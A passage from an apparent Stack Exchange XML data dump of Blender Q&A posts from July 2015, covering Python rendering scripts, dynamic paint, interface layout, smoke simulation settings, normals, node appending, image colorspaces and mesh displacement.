&#xA;&#xA;    #Ogl rendering&#xA;    render_ogl(my_camera, scene, fp, ind)   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The render_ogl method is as below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def render_ogl(camera, scene, fp, ind):&#xA;    #Some scene nodes I have for the rendering&#xA;    scene.use_nodes = True&#xA;    nodes = scene.node_tree.nodes&#xA;&#xA;    #Use the default nodes generated in blender &#xA;    render_layers = nodes['Render Layers']&#xA;    output_viewer = nodes['Composite']&#xA;&#xA;&#xA;    #Add output file node&#xA;    output_file = nodes.new('CompositorNodeOutputFile')&#xA;    output_file.base_path = &quot;/home/kar/Desktop/Blender_Render_Output/&quot;&#xA;&#xA;    #Link all the nodes &#xA;    scene.node_tree.links.new(&#xA;        render_layers.outputs['Image'],&#xA;        output_viewer.inputs['Image'] &#xA;    )&#xA;&#xA;    #The settings to save the file as per the given indices&#xA;    scene.render.filepath = fp + 'zbuffer' +str(ind)&#xA;    scene.render.image_settings.file_format = 'FFMPEG'&#xA;    scene.render.image_settings.color_mode = 'BW'&#xA;    bpy.context.scene.camera = camera&#xA;    bpy.ops.render.render(animation=True)&#xA;&#xA;    return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15189" LastActivityDate="2015-07-22T20:21:16.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34394" PostTypeId="2" ParentId="34376" CreationDate="2015-07-22T20:21:59.750" Score="2" Body="&lt;p&gt;You could use dynamic paint to do that. Make the plane a canvas, and the pink object a brush, and set the plane's surface type to Weight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: you should be aware that the resolution of the weight painting depends on the subdivision of the plane&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vOR3W.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vOR3W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WJQlw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WJQlw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pVZbu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pVZbu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-22T20:21:59.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34395" PostTypeId="2" ParentId="34354" CreationDate="2015-07-22T20:30:15.760" Score="0" Body="&lt;p&gt;I downloaded your file and all the faces are there. My Blender is 2.75, try updating yours :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you still have the problem after updating your Blender, try selecting all the edges and vertices and press space and search for &quot;Fill Holes&quot; and select. This should fix it :)&lt;/p&gt;&#xA;" OwnerUserId="14747" LastActivityDate="2015-07-22T20:30:15.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34397" PostTypeId="1" AcceptedAnswerId="34398" CreationDate="2015-07-23T00:22:49.213" Score="2" ViewCount="632" Body="&lt;p&gt;Please tell me how to hide the top panel. Dragging any of the corner handles up on the other panels does not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ill8i.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ill8i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15117" LastActivityDate="2015-07-23T00:29:43.823" Title="How do I hide this top panel and where did my menu bar go?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-23T08:20:29.857" ContentLicense="CC BY-SA 3.0" />
  <row Id="34398" PostTypeId="2" ParentId="34397" CreationDate="2015-07-23T00:29:43.823" Score="4" Body="&lt;p&gt;The trick in this scenario is you have to collapse all the lower panels so that you have 2 horizontal panels, then join them to one and then start out again to create the layout you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Aa5jI.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aa5jI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-23T00:29:43.823" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34399" PostTypeId="2" ParentId="34354" CreationDate="2015-07-23T01:38:49.307" Score="0" Body="&lt;p&gt;Todd McIntosh suggested using an older version and it seems to have worked.  Version 2.69 came out the same year as the book.&lt;/p&gt;&#xA;" OwnerUserId="15820" LastActivityDate="2015-07-23T01:38:49.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34400" PostTypeId="1" AcceptedAnswerId="34401" CreationDate="2015-07-23T01:43:48.090" Score="3" ViewCount="2386" Body="&lt;p&gt;I have to simulate rigid body physics simulation that is close to the real objects. Its about free fall of objects from initial random position onto a table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to blender so I started my project in blender render and have been working on it. But I see that in certain &lt;a href=&quot;https://www.youtube.com/watch?v=BGAwRKPlpCw&quot; rel=&quot;nofollow&quot;&gt;tutorials&lt;/a&gt;, they use blender engine. So I wasn't quite sure about the difference of these two modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When to use which? What is right setting for my project?&lt;/p&gt;&#xA;" OwnerUserId="15189" LastEditorUserId="599" LastEditDate="2015-07-23T01:47:56.763" LastActivityDate="2018-08-27T21:52:49.500" Title="What is the difference between blender render and blender game?" Tags="&lt;game-engine&gt;&lt;blender-internal-render-engine&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34401" PostTypeId="2" ParentId="34400" CreationDate="2015-07-23T01:46:41.853" Score="4" Body="&lt;p&gt;If you are making a still render or animation, then you most likely want to use the &lt;a href=&quot;http://blender.org/manual/physics/rigid_body/introduction.html&quot; rel=&quot;nofollow&quot;&gt;rigid body physics in the 3D view&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are making a game or a program that users will interact with in some way, then you most likely want the &lt;a href=&quot;http://blender.org/manual/game_engine/physics/introduction.html&quot; rel=&quot;nofollow&quot;&gt;game engine&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Rigid_Body_Simulation#Blender_2.66:_Rigid_Body_Simulation&quot; rel=&quot;nofollow&quot;&gt;Not too long ago&lt;/a&gt; blender didn't have any way to simulate rigid body physics outside of the game engine, and there are still lots of tutorials floating around from before that time.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-07-29T00:47:03.747" LastActivityDate="2015-07-29T00:47:03.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34403" PostTypeId="1" AcceptedAnswerId="34404" CreationDate="2015-07-23T02:10:44.420" Score="2" ViewCount="1843" Body="&lt;p&gt;Fire is no longer being emitted from my material, even though I have not made changes to my material. The node setup is exactly as I had it before, but now nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;a href=&quot;https://dl.dropboxusercontent.com/u/686388/posts/stackexchange/explosion-smoke-fire.blend&quot; rel=&quot;nofollow&quot;&gt;.blend&lt;/a&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="953" LastEditDate="2015-07-23T06:52:29.170" LastActivityDate="2015-07-23T06:52:29.170" Title="Smoke &amp; fire simulation: Cycles material not showing fire" Tags="&lt;cycles-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34404" PostTypeId="2" ParentId="34403" CreationDate="2015-07-23T02:27:13.180" Score="4" Body="&lt;p&gt;The problem isn't the material, it's that there are no visible flames in the simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the &quot;Debris Emitter&quot; object, the &lt;em&gt;Flame Rate&lt;/em&gt; set set to &lt;code&gt;.025&lt;/code&gt; If you set it to something like &lt;code&gt;.25&lt;/code&gt;, the material works fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gUdZ8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gUdZ8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-23T02:27:13.180" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34405" PostTypeId="2" ParentId="31649" CreationDate="2015-07-23T06:07:44.950" Score="1" Body="&lt;p&gt;I had a series of models in a Blender file where the Mesh Normals were pointed both inward and outward. Pressing Recalculate Normals fixed a few of the 15000 faces but not all. Trying to select inward faces failed, nothing lit up after trying to select them. &#xA;I found that the recalc would fail if the model had doubles or had Non Manifold mesh.  Deleting the doubles and removing the non manifold meshes was the answer. Once gone, the Recalculate repaired all the inward facing faces.  &lt;/p&gt;&#xA;" OwnerUserId="15844" LastActivityDate="2015-07-23T06:07:44.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34406" PostTypeId="1" AcceptedAnswerId="34420" CreationDate="2015-07-23T08:19:48.457" Score="0" ViewCount="99" Body="&lt;p&gt;This argument seems to be undocumented.&#xA;Does it mean that if an intersection point is not between the line's two endpoints (line_a and line_b) then it is not returned?&lt;/p&gt;&#xA;" OwnerUserId="15667" LastActivityDate="2015-07-23T12:28:02.187" Title="What does clip=True mean in mathutils.geometry.intersect_line_sphere()" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34407" PostTypeId="2" ParentId="34388" CreationDate="2015-07-23T08:27:44.880" Score="1" Body="&lt;p&gt;&lt;h3&gt;[Edit 2 Jan, 2016]&lt;/h3&gt; You can delete datablocks of any type by way of the outliner window. Find the object, select it in the outliner, right-click on the item, and select &quot;delete&quot; from the context menu.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;[Original answer]&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;But you wrote in your question that many of your files are &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;suffering from 2 empties&quot;. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your problem might be that these can't be deleted as empties, because they are phantom bones and not empties at all. You will probably find the objects you want to delete if you look under the armatures in your file. You don't need to be in datablock view to do this. If you select the armatures in the &quot;all scenes&quot; view of the outliner one by one, I expect you will find which armature contains the bones (or that the two bones may not be in the same armature. In either case, in object mode in the 3D viewport, looking under armatures, I expect you will be able to delete the phantom bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, it might want to be careful about deleting the bones, because it is possible to delete a bone from the middle of a chain, so that there may be other bones connected as children of the phantom bone which will be deleted if you delete the phantom bone. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2016-01-02T09:21:17.283" LastActivityDate="2016-01-02T09:21:17.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34408" PostTypeId="1" CreationDate="2015-07-23T09:06:52.220" Score="0" ViewCount="29" Body="&lt;p&gt;I wan't to know in screenshots.sorry i can't explanation,i am new in blender.&lt;/p&gt;&#xA;" OwnerUserId="15640" LastEditorUserId="15640" LastEditDate="2015-07-23T09:33:14.297" LastActivityDate="2015-07-23T09:33:14.297" Title="How to attach cloth to a rigged character.?" Tags="&lt;rigging&gt;&lt;parent&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-07-23T12:41:57.343" ContentLicense="CC BY-SA 3.0" />
  <row Id="34409" PostTypeId="1" AcceptedAnswerId="34684" CreationDate="2015-07-23T09:08:07.997" Score="1" ViewCount="132" Body="&lt;p&gt;I have just started learning blender, and I am having trouble exporting a few very basic collision shapes. I would appreciate any pointers where I might be going wrong&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I exported to .bullet using PhysicsConstraints.exportBulletFile&#xA;&lt;br/&gt;1. Cones are exported perfectly (verified by recreating programmatically)&#xA;&lt;br/&gt;2. Cylinders are exported with the wrong scale&#xA;&lt;br/&gt;3. Boxes are exported with correct position but AABB only wraps original unrotated shape&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a very simple Blender scene with two cylinders, a cone and a box:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yyOKQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yyOKQ.png&quot; alt=&quot;blender scene&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3w62h.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3w62h.png&quot; alt=&quot;scene when imported to bullet&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender:&#xA;All have &quot;Add Active&quot; and are green when selected&#xA;&lt;br/&gt;All have radius = 1.0&#xA;&lt;br/&gt;All have &quot;Rigid Body&quot;&#xA;&lt;br/&gt;All have &quot;Collision Bounds&quot; ticked with the correct shape selected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="15848" LastEditorUserId="15848" LastEditDate="2015-07-23T09:27:29.993" LastActivityDate="2015-07-28T15:59:44.570" Title="Blender collision export primitives issue" Tags="&lt;export&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34410" PostTypeId="1" AcceptedAnswerId="34415" CreationDate="2015-07-23T09:14:29.823" Score="5" ViewCount="17527" Body="&lt;p&gt;I have two .blend files, and I want to get nodes from one into the other .blend file.&lt;/p&gt;&#xA;" OwnerUserId="15640" LastEditorUserId="15699" LastEditDate="2015-07-23T12:14:50.523" LastActivityDate="2015-07-23T13:40:24.217" Title="How to get nodes from one .blend file into another?" Tags="&lt;nodes&gt;&lt;append&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ClosedDate="2015-07-23T14:18:33.477" ContentLicense="CC BY-SA 3.0" />
  <row Id="34412" PostTypeId="2" ParentId="34410" CreationDate="2015-07-23T09:27:30.523" Score="9" Body="&lt;p&gt;Open the blendfile that you are working in then append (&lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt;), then select the file you want the node settings from and go to the map Nodetree. Then select the nodegroups you want to use (so make sure you grouped the nodes in the other file). Then go back to the compositor, &lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Group &gt; Group you appended&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="8094" LastEditDate="2015-07-23T13:40:24.217" LastActivityDate="2015-07-23T13:40:24.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34413" PostTypeId="2" ParentId="34305" CreationDate="2015-07-23T09:27:50.867" Score="0" Body="&lt;p&gt;You might be happy by looking at the Physics tab/Physics panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two Velocity parameters: Minimum and Maximum. You can set the maximum and apply any force you like = speed is capped. It caps any speed of that object. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/R9hyU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R9hyU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Do not ask me why there is a minimum.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside is, this counts for all motions.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-07-23T09:27:50.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34414" PostTypeId="2" ParentId="34381" CreationDate="2015-07-23T09:51:40.420" Score="2" Body="&lt;p&gt;At the moment, saving as &lt;code&gt;JPG&lt;/code&gt;, &lt;code&gt;Iris&lt;/code&gt;, &lt;code&gt;PNG&lt;/code&gt;, &lt;code&gt;JPEG&lt;/code&gt;, &lt;code&gt;JPEG 2000&lt;/code&gt;, &lt;code&gt;Targa&lt;/code&gt;, &lt;code&gt;Targa Raw&lt;/code&gt;, &lt;code&gt;DPX&lt;/code&gt;, &lt;code&gt;TIFF&lt;/code&gt;  will apply a &lt;strong&gt;sRGB&lt;/strong&gt; curve &lt;em&gt;(Gamma 2.2)&lt;/em&gt; to the image data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bAUl7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saving as &lt;code&gt;Cineon&lt;/code&gt; will apply &lt;strong&gt;cineon colorspace&lt;/strong&gt; (logarithmic curve) to the image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SMqx4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saving as &lt;code&gt;OpenEXR&lt;/code&gt; and &lt;code&gt;OpenEXR Multilayer&lt;/code&gt; results in &lt;strong&gt;linear colorspace&lt;/strong&gt; (linear render values):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nirsQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see: &lt;a href=&quot;https://blender.stackexchange.com/questions/28284/colour-shift-when-viewing-render-outside-of-blender/29006#29006&quot;&gt;Colour shift when viewing render outside of blender&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-07-23T09:56:44.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34415" PostTypeId="2" ParentId="34410" CreationDate="2015-07-23T09:57:37.837" Score="12" Body="&lt;p&gt;You could give a cube the material with a node setup, then open both blend files and copy/paste (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; / &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;) the cube between documents.&lt;/p&gt;&#xA;" OwnerUserId="1390" LastEditorUserId="3710" LastEditDate="2015-07-23T12:24:06.127" LastActivityDate="2015-07-23T12:24:06.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34417" PostTypeId="1" AcceptedAnswerId="34422" CreationDate="2015-07-23T11:22:13.480" Score="0" ViewCount="562" Body="&lt;p&gt;I've got a sphere with a texture and a material and I'm using blender render. This is how it looks in material view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&lt;img src=&quot;https://i.stack.imgur.com/tcWZG.png&quot; alt=&quot;enter image description here&quot;&gt;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is how the rendered image looks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&lt;img src=&quot;https://i.stack.imgur.com/5p6uJ.png&quot; alt=&quot;enter image description here&quot;&gt;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres my .blend file : &lt;a href=&quot;http://www.mediafire.com/download/gly7535pswrnryj/problem.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mediafire.com/download/gly7535pswrnryj/problem.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note : Im posting the blend file because I've got an integrated graphics card and I've heard blender has got some issues with these. So maybe it works for you, and its just my computer.&lt;/p&gt;&#xA;" OwnerUserId="15390" LastEditorUserId="15390" LastEditDate="2015-07-23T11:28:12.603" LastActivityDate="2015-07-23T13:36:51.107" Title="Rendered imaged has weird shadows" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="4" ClosedDate="2015-07-23T14:05:19.857" ContentLicense="CC BY-SA 3.0" />
  <row Id="34418" PostTypeId="2" ParentId="34347" CreationDate="2015-07-23T12:09:40.860" Score="0" Body="&lt;p&gt;Possible cause: &lt;strong&gt;no collision&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would result in never activating the message actuator = no message at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can analyze this situation by connecting a different actuator that does something you can notice while running the game (e.g. turning the object via motion actuator, or counting a property that is shown in the debug overlay).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that actuator does not show something your collision detection has a problem -&gt; different question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise this answer does not help you.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-07-23T12:09:40.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34419" PostTypeId="2" ParentId="34347" CreationDate="2015-07-23T12:15:57.643" Score="1" Body="&lt;p&gt;Possible cause: &lt;strong&gt;combination with keyboard sensor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as it is the configuration looks fine. But there is a danger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You combine the message detection with keyboard detection. That means the actuator will only be activated when you hold the specified key  and receive a message at the same time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be you want to activate the motion actuator when either the key is pressed or a message is received. In that case I suggest to replace the AND controller with an OR controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To analyze if the message can be received at all, you can disconnect the keyboard sensor (leaving the message sensor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To analyze if the motion actuator has any effect on your object, you can disconnect the message sensor (leaving the keyboard sensor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-07-23T12:15:57.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34420" PostTypeId="2" ParentId="34406" CreationDate="2015-07-23T12:28:02.187" Score="2" Body="&lt;p&gt;&lt;strong&gt;Short Answer&lt;/strong&gt;: Yes, it does.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long Answer&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source code is located in &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/refs/heads/master:/source/blender/python/mathutils/mathutils_geometry.c#l615&quot; rel=&quot;nofollow&quot;&gt;this file&lt;/a&gt;. It calls &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/refs/heads/master:/source/blender/blenlib/intern/math_geom.c#l1985&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;line_point_factor_v3&lt;/code&gt;&lt;/a&gt; which subtracts both, the end point &lt;code&gt;line_b&lt;/code&gt; and the intersection point &lt;code&gt;isect&lt;/code&gt; from the start point &lt;code&gt;line_a&lt;/code&gt;, to get the relative vectors from &lt;code&gt;line_a&lt;/code&gt; to &lt;code&gt;line_b&lt;/code&gt; and the intersection point &lt;code&gt;isect&lt;/code&gt;, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then divides the dot product of these relative vectors by the squared length from &lt;code&gt;line_a&lt;/code&gt; to &lt;code&gt;line_b&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since both relative vectors are on the same line, the result of the dot product is negative if they point in opposite directions, else the result of the dot product is the product of the lengths of these vectors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically its &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dist(line_a, line_b) * dist(line_a, isect) / dist(line_a, line_b)²&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If clip is &lt;code&gt;True&lt;/code&gt; it checks wether this is between &lt;code&gt;0.0&lt;/code&gt; and &lt;code&gt;1.0&lt;/code&gt; which means the intersection point is on the line segment from &lt;code&gt;line_a&lt;/code&gt; to &lt;code&gt;line_b&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-07-23T12:28:02.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34421" PostTypeId="1" CreationDate="2015-07-23T12:42:45.327" Score="5" ViewCount="2643" Body="&lt;p&gt;Is it possible to use Blender's Python API scripting directly from Python IDE? If so, how?.  I was looking forward to something that would allow me to help develop a game completely using python.&lt;/p&gt;&#xA;" OwnerUserId="15670" LastEditorUserId="5426" LastEditDate="2017-01-04T06:54:27.947" LastActivityDate="2020-04-30T12:32:19.320" Title="Can I use Blender's Python API from a Python IDE?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34422" PostTypeId="2" ParentId="34417" CreationDate="2015-07-23T13:35:29.387" Score="1" Body="&lt;p&gt;There are 2 spheres on top of each other - one textured, one pink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To move them apart select 1 vertex in edit-mode and then select all connected to it with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;. This will select only 1 sphere so they can be separated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also hide selected with &lt;kbd&gt;H&lt;/kbd&gt; and unhide with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; so you don't have to move the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the one you don't want(pink probably).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2 spheres were there probably because it was a game-engine model with single-sided polygons - so the textured sphere was for outside and the pink for inside surface. The renderer will render surface from both sides and they are z-fighting.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-07-23T13:35:29.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34423" PostTypeId="2" ParentId="34417" CreationDate="2015-07-23T13:36:51.107" Score="1" Body="&lt;p&gt;Found your problem.&#xA;You created multiple overlapping spheres in edit mode, so it looks like one object but it has the geometry of many spheres.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to delete a face and you'll notice you have to do it around 4 times before it actually disappears from the sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The artefact is due to Z-fighting.&lt;/p&gt;&#xA;" OwnerUserId="14175" LastActivityDate="2015-07-23T13:36:51.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34427" PostTypeId="1" CreationDate="2015-07-23T14:06:35.447" Score="1" ViewCount="5683" Body="&lt;p&gt;I try to ask you..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did tried randomize resulted: right-X/left-X/up-Y/down-Y&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it's not work up-Z/down-Z..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use random up-Z/down-Z..... only&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how do I will do? it's missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry for my poor English..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="15858" LastActivityDate="2015-07-23T14:53:27.930" Title="random vertices up-Z/down-Z only..?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-07-23T15:23:58.677" ContentLicense="CC BY-SA 3.0" />
  <row Id="34428" PostTypeId="2" ParentId="34427" CreationDate="2015-07-23T14:53:27.930" Score="3" Body="&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: I assume you want to randomize the vertex positions of a mesh object.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Displace modifier&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One solution, that will work on any mesh is to use the 'Displace' modifier.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a 'Displace' modifier to the mesh object you want to add noise to. Set 'Direction' to 'Z' and add a texture (use the big new button).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K3gas.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K3gas.png&quot; alt=&quot;Displace modifier image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Open the texture tab, and change the type of the texture to 'Noise' (if you want uniform noise, use clouds with small scale 